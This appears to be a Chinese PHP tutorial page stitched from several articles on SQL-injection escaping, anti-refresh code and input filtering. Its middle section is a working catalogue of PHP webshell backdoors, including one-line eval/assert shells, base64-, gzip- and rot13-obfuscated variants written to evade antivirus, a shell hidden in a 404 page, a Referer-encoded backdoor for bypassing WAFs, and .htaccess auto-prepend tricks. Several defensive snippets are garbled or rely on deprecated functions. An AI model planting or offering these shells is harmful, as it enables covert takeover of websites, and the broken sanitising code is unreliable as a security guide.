php防止sql注入的函数介绍

 更新时间:2016年11月25日 15:23  点击:1772
前几天网站给人注入了,现在我给大家来介绍php防止sql注入的几个自带的处理函数,例如PHP的MySQL操作函数中有addslashes()、mysql_real_escape_string()、mysql_escape_string()等函数

具体用法

addslashes防止SQL注入

虽然国内很多PHP程序员仍在依靠addslashes防止SQL注入,还是建议大家加强中文防止SQL注入的检查。addslashes的问题在 于黑客 可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,成为一个有效的多字节字符,其中的0xbf5c仍会 被看作是单引号,所以addslashes无法成功拦截。
当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。
另外对于php手册中get_magic_quotes_gpc的

举例:

 代码如下 复制代码


<?php      
    function post_check($post)    
    {    
    if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否为打开    
    {    
    $post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤    
    }    
    $post = str_replace("_", "_", $post); // 把 '_'过滤掉    
    $post = str_replace("%", "%", $post); // 把' % '过滤掉    
    $post = nl2br($post); // 回车转换    
    $post= htmlspecialchars($post); // html标记转换        
    return $post;    
    }    
    ?>

 <?php          
    function inject_check($sql_str)    
    {    
    return eregi('select|insert|update|delete|'|    
    function verify_id($id=null)    
    {    
    if (!$id) { exit('没有提交参数!'); } // 是否为空判断    
    elseif (inject_check($id)) { exit('提交的参数非法!'); } // 注射判断    
    elseif (!is_numeric($id)) { exit('提交的参数非法!'); } // 数字判断    
    $id = intval($id); // 整型化         
    return $id;    
    }    
    ?>


string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
本函数将 unescaped_string 中的特殊字符转义,并计及连接的当前字符集,因此可以安全用于 mysql_query()。

Note: mysql_real_escape_string() 并不转义 % 和 _。


mysql_real_escape_string


Example#1 mysql_real_escape_string() 例子

 代码如下 复制代码

<?php
$item  =  "Zak's and Derick's Laptop" ;
$escaped_item  =  mysql_real_escape_string ( $item );
printf  ( "Escaped string: %sn" ,  $escaped_item );
?>

以上例子将产生如下输出:

Escaped string: Zak's and Derick's Laptop


mysql_escape_string


本函数将 unescaped_string 转义,使之可以安全用于 mysql_query()。

注: mysql_escape_string() 并不转义 % 和 _。
本函数和 mysql_real_escape_string() 完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。

例子 1. mysql_escape_string() 例子

 代码如下 复制代码

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf ("Escaped string: %sn", $escaped_item);
?>
输出:
Escaped string: Zak's Laptop


mysql_real_escape_string和mysql_escape_string这2个函数的区别:
mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用。否则只能用 mysql_escape_string ,两者的区别是:mysql_real_escape_string 考虑到连接的当前字符集,而mysql_escape_string 不考虑。

我们可以利用判断来综合处理

 

 代码如下 复制代码
function cleanuserinput($dirty){
 if (get_magic_quotes_gpc()) {
  $clean = mysql_real_escape_string(stripslashes($dirty)); 
 }else{
  $clean = mysql_real_escape_string($dirty); 
 }
 return $clean;
}

总结一下:

* addslashes() 是强行加;
* mysql_real_escape_string() 会判断字符集,但是对PHP版本有要求;
* mysql_escape_string不考虑连接的当前字符集。

说起php后门木马我就心有愉季啊,前不久一个站就因不小心给人注入了,然后写入了小木马,这样结果大家知道的我就不说了,下面我来给大家收集了各种php后门木马做法,大家可参考。

php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?
本文为您浅析说明一些php后门木马常用的函数。

php后门木马常用的函数大致上可分为四种类型:

1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open
2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 执行系统命令:

system 函数

//test.php?cmd=ls
system($_GET[cmd]);

passthru 函数

//test.php?cmd=ls
passthru($_GET[cmd]);

shell_exec 函数

//test.php?cmd=ls
echo shell_exec($_GET[cmd]);

exec 函数

//test.php?cmd=ls
$arr = array();
exec($_GET[cmd],$arr);
print_r($arr);

popen 函数

//test.php?cmd=ls
$handle = popen('$_GET[cmd], 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);

proc_open 函数

//test.php?cmd=ls
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w'),
);
$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);
fclose($pipes[0]);
$output = array();
while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"n"));
print_r($output);

2. 代码执行与加密:

eval 函数

//最常见的一句话木马
eval_r($_POST[cmd]);

base64_decode 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST['cmd']);
eval_r(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函数

//为了免杀及隐藏而加密代码
//密文: eval_r($_POST[cmd]);
eval_r(str_rot13('riny($_CBFG[pzq]);'));

assert 函数

//类似eval函数
assert($_POST[cmd]);

call_user_func 函数

//使用call_user_func调用assert
call_user_func('assert',$_POST[cmd]);

call_user_func 函数

//使用call_user_func调用任意函数
//test.php?a=assert&cmd=phpinfo()
call_user_func($_GET[a],$_REQUEST[cmd]);

组合代码

//组合方式调用任意函数
//test.php?a=assert&cmd=phpinfo()
$_GET[a]($_REQUEST[cmd]);

3. 文件包含与生成:

require 函数

//包含任意文件
//test.php?file=123.jpg
require($_GET[file]);

require_once 函数

//包含任意文件
//test.php?file=123.jpg
require_once($_GET[file]);

include 函数

//包含任意文件
//test.php?file=123.jpg
include($_GET[file]);

include_once 函数

//包含任意文件
//test.php?file=123.jpg
include_once($_GET[file]);

file_get_contents 函数

//读取任意文件
//test.php?f=config.inc.php
echo file_get_contents($_GET['f']);

file_put_contents 函数

//生成任意内容文件
//a=test.php&b=
file_put_contents($_GET[a],$_GET[b]);

fputs 函数

//生成任意内容文件
//a=test.php&b=
fputs(fopen($_GET[a],"w"),$_GET[b]);

4. .htaccess:

SetHandler

//可将php代码存于非php后缀文件,例: x.jpg
//将以下代码写入.htaccess中
//连接x.jpg即可启动后门木马

SetHandler application/x-httpd-php

auto_prepend_file

//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
//可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马
php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//类似auto_prepend_file
//可将php代码存于非php后缀文件,例: 123.gif
//将以下代码写入.htaccess中, 文件路径必须是绝对路径
//访问网站上任何php文件都会启动该php后门木马
php_value auto_append_file c:/apache2/htdocs/123.gif


利用404页面隐藏PHP小马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace(''a'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION['theCode']))','a');
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。

超级隐蔽的PHP后门

<?php $_GET[a]($_GET[b]);?>
仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%    29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

层级请求,编码运行PHP后门
此方法用两个文件实现,文件1

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
   eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
文件2

<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
    CURLOPT_URL => $url,
    CURLOPT_HEADER => FALSE,
    CURLOPT_RETURNTRANSFER => TRUE,
    CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。

以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。

 

三个变形的一句话PHP木马
第一个

<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里写http://site/1.php?2=assert密码是1

第二个

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。
如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。

第三个

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13('riny')即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

.htaccess做PHP后门
这个其实在2007年的时候作者GaRY就爆出了,只是后边没人关注,这个利用关键点在于一句话:

AddType application/x-httpd-php .htaccess
###### SHELL ###### 这里写上你的后门吧###### LLEHS ######
最后列几个高级的PHP一句话木马后门

1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include ($filename);
//危险的include函数,直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include ($uid);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST[c]);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!

恶意刷新就是不停的去刷新提交页面,导致大量无效数据了,下面我们来总结一下php 防止恶意刷新页面方法总结 防止恶意刷页面的原理是

要求在页面间传递一个验证字符串,
在生成页面的时候 随机产生一个字符串,
做为一个必须参数在所有连接中传递。同时将这个字符串保存在session中。

点连接或者表单进入页面后,判断session中的验证码是不是与用户提交的相同,如果相同,则处理,不相同则认为是重复刷新。
在处理完成后将重新生成一个验证码,用于新页面的生成

 代码如下 复制代码

<?php
session_start();
$k=$_GET['k'];
$t=$_GET['t'];
$allowTime = 1800;//防刷新时间
$ip = get_client_ip();
$allowT = md5($ip.$k.$t);
if(!isset($_SESSION[$allowT]))
{
$refresh = true;
$_SESSION[$allowT] = time();
}elseif(time() - $_SESSION[$allowT]>$allowTime){
$refresh = true;
$_SESSION[$allowT] = time();
}else{
$refresh = false;
}
?>


ie6提交两次我也碰到过,大致是用图片代替submit时,图片上有个submit(),这样会提交两次,如果只是submit钮我没碰到过提交两次的情况。 现在整理一下:
方法基本上前面几位说得差不多
接收的页即2.php分为两部分,一部分处理提交过来的变量,一部分显示页面
处理变量完毕用header( "location: ".$_SERVER[ 'PHP_SELF '])跳转到自身页
本部分要做判断,如果没有post的变量就跳过。当然也可以跳到别的页面。
跳到别的页面返回时会有问题,建议做在一个php文件里。
如果上页穿过来得变量不符合要求可以强制返回 <script> history.go(-1); </script>
只说了一下大体思路,也许高手们不会遇到此类问题,可是并不是每个人都是高手。

 代码如下 复制代码

 

if(isset($_POST))

if(变量不符合要求)
<script> history.go(-1); </script>
else
操作数据
...
if(操作完成)
header( "location: ".$_SERVER[ 'PHP_SELF ']);
}
<script language= "JavaScript ">
<!--
 javascript:window.history.forward(1);
//-->
</script>

也可以利用COOKIE

 代码如下 复制代码

<?php
$c_file="counter.txt"; //文件名赋值给变量
if(!file_exists($c_file)) //如果文件不存在的操作
{
$myfile=fopen($c_file,"w"); //创建文件
fwrite($myfile,"0"); //置入“0”
fclose($myfile); //关闭文件
}
$t_num=file($c_file); //把文件内容读入变量
if($_COOKIE["date"]!="date(Y年m月d日)") //判断COOKIE内容与当前日期是否一致
{
$t_num[0]++; //原始数据自增1
$myfile=fopen($c_file,"w"); //写入方式打开文件
fwrite($myfile,$t_num[0]); //写入新数值
fclose($myfile); //关闭文件
//重新将当前日期写入COOKIE并设定COOKIE的有效期为24小时
setcookie("date","date(Y年m月d日)",time()+60*60*24);
}
?>

session

主页面文件 index.php 代码:

 代码如下 复制代码
<?php session_start(); ?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>通过session禁止页面刷新</title>
<style type="text/css">
<!--
.style1 {
font-size: 14px;
font-family: "华文仿宋";
font-weight: bold;
}
.style2 {font-family: "华文琥珀"}
-->
</style>
</head>
<body>
<?php
//使用文本存储数据
   if($_SESSION[temp]==""){
   if(($fp=fopen("counter.txt","r"))==false){ echo "打开文件失败!";
     }else{ $counter=fgets($fp,1024);   //读取文件中数据
     fclose($fp);                        //关闭文本文件
     $counter++;                         //计数器增加1
     $fp=fopen("counter.txt","w");       //以写的方式打开文本文件
 
     fputs($fp,$counter);                //将新的统计数据增加1
     fclose($fp);    }                   //关闭文
//从文本文件中读取统计数据
       if(($fp=fopen("counter.txt","r"))==false){echo "打开文件失败!";}else{
        $counter=fgets($fp,1024);
        fclose($fp);
           echo "数字计数器: " .$counter ; }   //输出访问次数
     $_SESSION[temp]=1; //登录以后,$_SESSION[temp]的值不为空,给$_SESSION[temp]赋一个值1
     }else{
     echo "<script>alert('您不可以刷新本页!!'); history.back();</script>";
     }
?>
<table width="300" border="0" cellpadding="0" cellspacing="0" background="images/141.jpg">
<tr>
    <td height="35" align="center"><span class="style1">通过session禁止页面刷新</span></td>
</tr>
<tr>
    <td height="40" align="center"><span class="style2">
      <?php if(($fp=fopen("counter.txt","r"))==false){echo "打开文件失败!";}else{
        $counter=fgets($fp,1024);
        fclose($fp);
           echo "网页访问量: " .$counter ; }   //输出访问次数?>
    </span></td>
</tr>
<tr>
    <td height="25" align="center">&nbsp;</td>
</tr>
</table>
</body>
</html>

counter.txt 文件为同目录下的记录登录数文件……
$counter=fgets($fp,1024);   为读取文件中 数值型值的方法(可包含小数点数值)……

本文章来给大家总结一下在php中常用的一些防php注入,sql注入的一些方法介绍,在php中提供了htmlspecialchars/addslashes/stripslashes/strip_tags/mysql_real_escape_string等几个函数,有需要了解的朋友可参考。

下面针对常用表单特殊字符处理进行总结:

测试字符串:

 代码如下 复制代码

$dbstr='D:test
<a href="http://www.111cn.net">http://www.111cn.net</a>,天缘博客
'!='1' OR '1'
</DIV>
<script  language="javascript" type="text/javascript">alert("Fail");</script>


<?php echo "<br/>PHP OUTPUT"; ?>';

测试代码:

 代码如下 复制代码

 header("Content-Type: text/html; charset=UTF-8");
echo "------------------------------------------------------<br/>rn";
echo  $dbstr."<br/>rn------------------------------------------------------<br/>rn";
$str=fnAddSlashes($_POST['dd']);
echo $str."<br/>rn------------------------------------------------------<br/>rn";

$str = preg_replace("/s(?=s)/","\1",$str);//多个连续空格只保留一个
$str = str_replace("r","<br/>",$str);
$str = str_replace("n","<br/>",$str);
$str = preg_replace("/((<br/?>)+)/i", "<br/>", $str);//多个连续<br/>标签只保留一个

$str=stripslashes($str);
echo strip_tags($str)."<br/>rn------------------------------------------------------<br/>rn";
echo htmlspecialchars($str)."<br/>rn------------------------------------------------------<br/>rn";
echo htmlentities($str)."<br/>rn------------------------------------------------------<br/>rn";
echo mysql_escape_string($str)."<br/>rn------------------------------------------------------<br/>rn";

字符串包含:反斜杠路径,单双引号,HTML标记、链接、未封堵的HTML标记,数据库语法容错,JS执行判断,PHP执行判断,多个连续回车换行符和空格。其中有些概念有包含关系


二、表单提交数据处理
1、强制加入反斜线

由于有些主机默认开启魔术引用get_magic_quotes_gpc,有些可能关闭,所以在程序上最好一律强制加入反斜线,这样可以统一处理,字符涉及单引号、双引号和反斜线。

 代码如下 复制代码

function fnAddSlashes($data)
{
    if(!get_magic_quotes_gpc()) //只对POST/GET/cookie过来的数据增加转义
        return is_array($data)?array_map('addslashes',$data):addslashes($data);
    else
        return $data;
}

2、对特殊字符处理

以下是几个常用字符串处理,可以视具体情况取舍。由于上面已经对提交表单数据进行一次转义,所以如果需要对内容替换或过滤需要考虑addslashes对相关字符的影响,替换或查找时需考虑反斜杠的添加。其它字符替换不影响,比如rn替换。

A、多个连续空格只保留一个

 代码如下 复制代码

$data = preg_replace("/s(?=s)/","\1",$data );//多个连续空格只保留一个

B、回车换行替换成<br/>

 代码如下 复制代码
$data = str_replace("r","<br/>",$data );
$data = str_replace("n","<br/>",$data );

//html中默认<br>没封堵,xhtml中<br/>有封堵,建议使用<br/>,更多区别:

C、多个连续<br/>只保留一个

 代码如下 复制代码
$data = preg_replace("/((<br/?>)+)/i", "<br/>", $data );//多个连续<br/>标签只保留一个

 

D、全部过滤HTML标记

该方式是全部过滤潜在危险的标记,包括HTML、链接、未封堵HTML标记、JS、PHP。

使用函数strip_tags($data)

该函数使用后会过滤全部的HTML标记(包括链接)和PHP标记、JS代码等,其中链接会保留链接原文只是去除<a>标记和href部分内容,PHP标记和JS标记则会整体去除,包括中间的内容,如下图:

E、不过滤标记,只是把他们HTML化

该方法是把原提交内容全部按照普通文本来处理。

使用函数htmlspecialchars($data),该函数执行后会把提交数据全部按照普通文本来展示,如下图:

使用htmlentities函数执行结果(中文显示乱码):

三、写入数据库

由于使用addslashes($data)后对于高级的可信任用户可以直接写入数据库,但是addslashes无法拦截使用0xbf27代替的单引号,所以最好还是使用mysql_real_escape_string或mysql_escape_string进行转义,不过转义之前需先去除反斜杠(假设已默认开启addslashes)。

 代码如下 复制代码

function fnEscapeStr($data)

{

if (get_magic_quotes_gpc())
{
        $data= stripslashes($value);
}
$data="'". mysql_escape_string($value) ."'";
return $data;
}

$data=fnEscapeStr($data);

PHP通用防注入安全代码

 代码如下 复制代码
说明:
判断传递的变量中是否含有非法字符
如$_POST、$_GET
功能:
防注入
**************************/
//要过滤的非法字符
$ArrFiltrate=array(”‘”,”;”,”union”);
//出错后要跳转的url,不填则默认前一页
$StrGoUrl=”";
//是否存在数组中的值
function FunStringExist($StrFiltrate,$ArrFiltrate){
foreach ($ArrFiltrate as $key=>$value){
if (eregi($value,$StrFiltrate)){
return true;
}
}
return false;
}
//合并$_POST 和 $_GET
if(function_exists(array_merge)){
$ArrPostAndGet=array_merge($HTTP_POST_VARS,$HTTP_GET_VARS);
}else{
foreach($HTTP_POST_VARS as $key=>$value){
$ArrPostAndGet[]=$value;
}
foreach($HTTP_GET_VARS as $key=>$value){
$ArrPostAndGet[]=$value;
}
}
//验证开始
foreach($ArrPostAndGet as $key=>$value){
if (FunStringExist($value,$ArrFiltrate)){
echo “alert(/”Neeao提示,非法字符/”);”;
if (empty($StrGoUrl)){
echo “history.go(-1);”;
}else{
echo “window.location=/”".$StrGoUrl.”/”;”;
}
exit;
}
}
?>

/*************************
保存为checkpostandget.php
然后在每个php文件前加include(“checkpostandget.php“);即可

虽然国内很多PHP程序员仍在依靠addslashes防止SQL注入,还是建议大家加强中文防止SQL注入的检查。addslashes的问题在 于黑客 可以用0xbf27来代替单引号,而addslashes只是将0xbf27修改为0xbf5c27,成为一个有效的多字节字符,其中的0xbf5c仍会 被看作是单引号,所以addslashes无法成功拦截。

当然addslashes也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。

打开magic_quotes_gpc来防止SQL注入

php.ini中有一个设置:magic_quotes_gpc = Off
  这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,
  比如把 ' 转为 '等,对于防止sql注射有重大作用。

     如果magic_quotes_gpc=Off,则使用addslashes()函数

另外对于php手册中get_magic_quotes_gpc的举例:

 代码如下 复制代码

if (!get_magic_quotes_gpc()) {

  $lastname = addslashes($_POST[‘lastname’]);

  } else {

  $lastname = $_POST[‘lastname’];

}

最好对magic_quotes_gpc已经开放的情况下,还是对$_POST[’lastname’]进行检查一下。

再说下mysql_real_escape_string和mysql_escape_string这2个函数的区别:

mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用。否则只能用 mysql_escape_string ,两者的区别是:mysql_real_escape_string 考虑到连接的当前字符集,而mysql_escape_string 不考虑。

(1)mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集

使用方法如下:

 代码如下 复制代码

$sql = "select count(*) as ctr from users where username02.='".mysql_real_escape_string($username)."' and 03.password='". mysql_real_escape_string($pw)."' limit 1";


自定函数

 代码如下 复制代码


function inject_check($sql_str) {
    return eregi('select|insert|and|or|update|delete|'|/*|*|../|./|union|into|load_file|outfile', $sql_str);
}
 
function verify_id($id=null) {
    if(!$id) {
        exit('没有提交参数!');
    } elseif(inject_check($id)) {
        exit('提交的参数非法!');
    } elseif(!is_numeric($id)) {
        exit('提交的参数非法!');
    }
    $id = intval($id);
    
    return $id;
}
 
 
function str_check( $str ) {
    if(!get_magic_quotes_gpc()) {
        $str = addslashes($str); // 进行过滤
    }
    $str = str_replace("_", "_", $str);
    $str = str_replace("%", "%", $str);
    
   return $str;
}
 
 
function post_check($post) {
    if(!get_magic_quotes_gpc()) {
        $post = addslashes($post);
    }
    $post = str_replace("_", "_", $post);
    $post = str_replace("%", "%", $post);
    $post = nl2br($post);
    $post = htmlspecialchars($post);
    
    return $post;
}

总结一下:

* addslashes() 是强行加;

* mysql_real_escape_string() 会判断字符集,但是对PHP版本有要求;
* mysql_escape_string不考虑连接的当前字符集。
dz中的防止sql注入就是用addslashes这个函数,同时在dthmlspecialchars这个函数中有进行一些替换$string = preg_replace(/&((#(d{3,5}|x[a-fA-F0-9]{4}));)/, &1,这个替换解决了注入的问题,同时也解决了中文乱码的一些问题。

[!--infotagslink--]

相关文章

  • phpems SQL注入(cookies)分析研究

    PHPEMS(PHP Exam Management System)在线模拟考试系统基于PHP+Mysql开发,主要用于搭建模拟考试平台,支持多种题型和展现方式,是国内首款支持题冒题和自动评分与教师评分相...2016-11-25
  • ASP/PHP sql注入语句整理大全

    SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作 标准注入语句1.判...2016-11-25
  • php正确禁用eval函数与误区介绍

    eval函数在php中是一个函数并不是系统组件函数,我们在php.ini中的disable_functions是无法禁止它的,因这他不是一个php_function哦。 eval()针对php安全来说具有很...2016-11-25
  • php中eval()函数操作数组的方法

    在php中eval是一个函数并且不能直接禁用了,但eval函数又相当的危险了经常会出现一些问题了,今天我们就一起来看看eval函数对数组的操作 例子, <?php $data="array...2016-11-25
  • Python astype(np.float)函数使用方法解析

    这篇文章主要介绍了Python astype(np.float)函数使用方法解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-06-08
  • PHP防止SQL注入的例子

    防止SQL注入是我们程序开发人员必须要做的事情了,今天我们就来看一篇关于PHP防止SQL注入的例子了,具体的实现防过滤语句可以参考下面来看看吧。 使用prepared以及参...2016-11-25
  • Python中的imread()函数用法说明

    这篇文章主要介绍了Python中的imread()函数用法说明,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-16
  • C# 中如何取绝对值函数

    本文主要介绍了C# 中取绝对值的函数。具有很好的参考价值。下面跟着小编一起来看下吧...2020-06-25
  • C#学习笔记- 随机函数Random()的用法详解

    下面小编就为大家带来一篇C#学习笔记- 随机函数Random()的用法详解。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-06-25
  • 金额阿拉伯数字转换为中文的自定义函数

    CREATE FUNCTION ChangeBigSmall (@ChangeMoney money) RETURNS VarChar(100) AS BEGIN Declare @String1 char(20) Declare @String2 char...2016-11-25
  • Android开发中findViewById()函数用法与简化

    findViewById方法在android开发中是获取页面控件的值了,有没有发现我们一个页面控件多了会反复研究写findViewById呢,下面我们一起来看它的简化方法。 Android中Fin...2016-09-20
  • C++中 Sort函数详细解析

    这篇文章主要介绍了C++中Sort函数详细解析,sort函数是algorithm库下的一个函数,sort函数是不稳定的,即大小相同的元素在排序后相对顺序可能发生改变...2022-08-18
  • PHP用strstr()函数阻止垃圾评论(通过判断a标记)

    strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。该函数返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 false。语法:strstr(string,search)参数string,必需。规定被搜索的字符串。 参数sea...2013-10-04
  • PHP函数分享之curl方式取得数据、模拟登陆、POST数据

    废话不多说直接上代码复制代码 代码如下:/********************** curl 系列 ***********************///直接通过curl方式取得数据(包含POST、HEADER等)/* * $url: 如果非数组,则为http;如是数组,则为https * $header:...2014-06-07
  • php中的foreach函数的2种用法

    Foreach 函数(PHP4/PHP5)foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。...2013-09-28
  • C语言中free函数的使用详解

    free函数是释放之前某一次malloc函数申请的空间,而且只是释放空间,并不改变指针的值。下面我们就来详细探讨下...2020-04-25
  • PHP函数strip_tags的一个bug浅析

    PHP 函数 strip_tags 提供了从字符串中去除 HTML 和 PHP 标记的功能,该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。由于 strip_tags() 无法实际验证 HTML,不完整或者破损标签将导致更多的数...2014-05-31
  • SQL Server中row_number函数的常见用法示例详解

    这篇文章主要给大家介绍了关于SQL Server中row_number函数的常见用法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-12-08
  • PHP加密解密函数详解

    分享一个PHP加密解密的函数,此函数实现了对部分变量值的加密的功能。 加密代码如下: /* *功能:对字符串进行加密处理 *参数一:需要加密的内容 *参数二:密钥 */ function passport_encrypt($str,$key){ //加密函数 srand(...2015-10-30
  • php的mail函数发送UTF-8编码中文邮件时标题乱码的解决办法

    最近遇到一个问题,就是在使用php的mail函数发送utf-8编码的中文邮件时标题出现乱码现象,而邮件正文却是正确的。最初以为是页面编码的问题,发现页面编码utf-8没有问题啊,找了半天原因,最后找到了问题所在。 1.使用 PEAR 的...2015-10-21